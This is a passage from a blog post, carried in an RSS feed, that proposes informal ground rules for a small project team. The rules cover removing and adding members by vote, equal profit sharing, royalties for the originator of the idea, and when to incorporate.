<p><strong>Removing People</strong></p>
<p>I basically said it before. If someone is a problem or isn&#8217;t holding up their side of the bargin the other team members can remove them with a sufficient number of votes. <strong>Yes, that means that by accepting this way of working you&#8217;re accepting that the other team members can remove you if enough of them agree.</strong></p>
<p><strong></strong>No one is indispensable, <strong>there are no first-among-equals</strong>.</p>
<p><strong>Adding People</strong></p>
<p>Are you firing on all cylinders but need more people? Found someone that is totally awesome and would make the team better? Then it&#8217;s time for a new team member. Just add them to the spreadsheet and you&#8217;re good to go.</p>
<p>Since they&#8217;re starting with zeroes in their expenses columns they won&#8217;t be getting paid before the people who have been slaving away at the project for months and are responsible for the success that&#8217;s starting to occur. Simple.</p>
<p>If you&#8217;re starting to pay out profits, the usual rules apply: <strong>every team member shares equally in profits</strong>. Using the iPhone app example again, if you bring on a new person for Version 2, they share in the profits from Version 2 onward but not for Version 1. Of course, they keep sharing in profits until they leave and the things they worked on are no longer making profit.</p>
<p>You may think that this is overly generous to new team members. In that case, just hire them as an outside contracter (ie an expense in the Costs column). If you&#8217;re ready to bring them on board as a full team member – <strong>and there is no other type!</strong> – then you&#8217;re ready to share profits with them.</p>
<p>Heck, bump up your hourly rate to avoid profits for a bit in order to reward the original members if it bothers you so much. Don&#8217;t try to do various share holdings, this is all about <strong>equality</strong>. Determining where unequal share ratios tip from fair to unfair is too hard and prone to disagreement. Don&#8217;t go there.</p>
<p><strong>The value of the idea</strong></p>
<p>What about intellectual property (IP) and things like that? Generally I would just say that it&#8217;s nothing special, and it doesn&#8217;t matter who had the idea. At the same time, if someone had the original idea then presumably they spent time developing it and those hours should be included under their time worked in the Hours column.</p>
<p>Still not happy with that? I really wouldn&#8217;t recommend going beyond this, but if you really have to have some sort of additional monetary compensation for the person or people who had the original idea, then have that person charge the project royalties (ie this is an additional expense). For instance, 6-10% is apparently the normal rate in the product design world.</p>
<p>As a team at the beginning of your project, decide at what point royalties should be paid. I&#8217;d be inclined to pay them after Hours and just before paying out profits. However, if you&#8217;re someone that cares that much about royalties then you probably think you should be paid earlier. After Costs and before Hours is acceptable. <strong>Don&#8217;t</strong> put them before Costs, Costs must always be paid off first.</p>
<p>If more than one team member is charging the project royalties then <strong>you&#8217;re doing it wrong</strong>. Presumably what&#8217;s happened is that royalties have been used as a backdoor for people to say that they&#8217;re more equal than others, and that isn&#8217;t allowed. <strong>Only one member can charge the project royalties. </strong>Naturally you may need to pay royalties to several outside parties and that&#8217;s fine (though that doesn&#8217;t sound like a good business situation to me).</p>
<p><strong>Be flexible</strong></p>
<p>All this is just to give you a reasonable set of ground rules. If you feel a need to do something different, like pay someone&#8217;s hours before other people&#8217;s costs because they&#8217;re broke and need the money, just do it (provided enough people agree).</p>
<p><strong>The end</strong></p>
<p>The project can end in two ways: either it&#8217;s not working, in which everyone decides to move on and you settle up expenses as best as possible according to the methods outlined in this post, or you&#8217;ve moved beyond the point of a simple partnership.</p>
<p>If you want to hire people, enter into contracts, all that jazz, then it&#8217;s time to incorporate. There&#8217;s a time and place for that; the whole point of the mechanisms here is just to enable you to work together as a team as long as possible and only incorporate when it really makes sense and solves a lot of pain points. And remember what I said before, if there&#8217;s someone you want to work with but don&#8217;t want to make them an equal team member, just hire them as a contractor (a Cost).</p>
<p>Whew, that&#8217;s a lot. Hope it helps!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bubblefoundry.com/blog/2012/03/how-to-organize-your-project-without-lawyers/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

